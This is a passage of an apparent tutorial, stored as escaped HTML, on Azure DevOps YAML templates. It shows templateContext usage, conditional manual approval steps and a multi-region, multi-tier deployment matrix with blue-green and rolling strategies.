style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(job.templateContext.approvalRequired, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eManualValidation@0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Manual approval for ${{ job.job }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003enotifyUsers\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    ops-team@example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003einstructions\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Approve deployment to ${{ job.templateContext.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                echo \u0026#34;Region: ${{ job.templateContext.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deploy to ${{ job.templateContext.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml — caller co-locates job definition and deployment metadata\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-with-context.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployEastUS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# Generates a ManualValidation step\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployWestEU\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# No approval step generated\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApSouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod-apsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapsouth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eapprovalRequired\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e properties (\u003ccode\u003ejob.templateContext.region\u003c/code\u003e, \u003ccode\u003ejob.templateContext.approvalRequired\u003c/code\u003e) and standard job properties (\u003ccode\u003ejob.job\u003c/code\u003e, \u003ccode\u003ejob.environment\u003c/code\u003e) are all accessible in the same loop body via the same dot-notation. This is the pattern that makes templates genuinely generic: the caller owns the data, the template owns the logic.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-multi-region-multi-tier-deployment-matrix\"\u003eHands-On Example: Multi-Region, Multi-Tier Deployment Matrix\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e An automation engineer needs a pipeline that deploys a microservice to three tiers (dev, staging, prod) across two regions (eastus, westeu) — six deployment stages total. Each tier-region combination has a unique service connection and Azure environment. Prod stages require blue-green deployment; dev and staging use rolling. The pipeline must support adding a third region (apsouth) by editing only the parameter definition — zero template changes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePrerequisites:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSix Azure DevOps environments named by convention: \u003ccode\u003edev-eastus\u003c/code\u003e, \u003ccode\u003edev-westeu\u003c/code\u003e, \u003ccode\u003estaging-eastus\u003c/code\u003e, \u003ccode\u003estaging-westeu\u003c/code\u003e, \u003ccode\u003eprod-eastus\u003c/code\u003e, \u003ccode\u003eprod-westeu\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eSix service connections named by convention: \u003ccode\u003esc-dev-eastus\u003c/code\u003e, \u003ccode\u003esc-dev-westeu\u003c/code\u003e, etc.\u003c/li\u003e\n\u003cli\u003eA build stage that produces a deployable artifact\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"step-1-create-the-deployment-matrix-template\"\u003eStep 1: Create the deployment matrix template\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# templates/deploy-matrix.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ replace(env.tier, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}_${{ replace(env.region, \u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;${{ env.tier }} (${{ env.region }})\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.dependsOn }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Azure DevOps environment uses hyphen convention; stage name uses underscore\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ env.tier }}-${{ env.region }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003edownload\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecurrent\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eartifact\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e# Prod uses blue-green; dev and staging use rolling\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(env.blueGreen, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Blue-green deployment: ${{ env.tier }}-${{ env.region }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Service connection: ${{ env.serviceConnection }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Blue-green deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Swap complete: ${{ env.tier }}-${{ env.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Verify slot swap\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#ae81ff\"\u003e${{ else }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Rolling deployment: ${{ env.tier }}-${{ env.region }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Service connection: ${{ env.serviceConnection }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Rolling deploy\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deployment complete: ${{ env.tier }}-${{ env.region }}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Post-deploy verification\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"step-2-create-the-calling-pipeline\"\u003eStep 2: Create the calling pipeline\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrigger\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# dev — runs after Build, no environment gate\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# staging — depends on the matching dev region\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003edev_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging-westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003edev_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# prod — requires both staging regions to succeed before deploying\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod-eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eblueGreen\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_eastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003estaging_westeu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eregion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ewesteu\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan 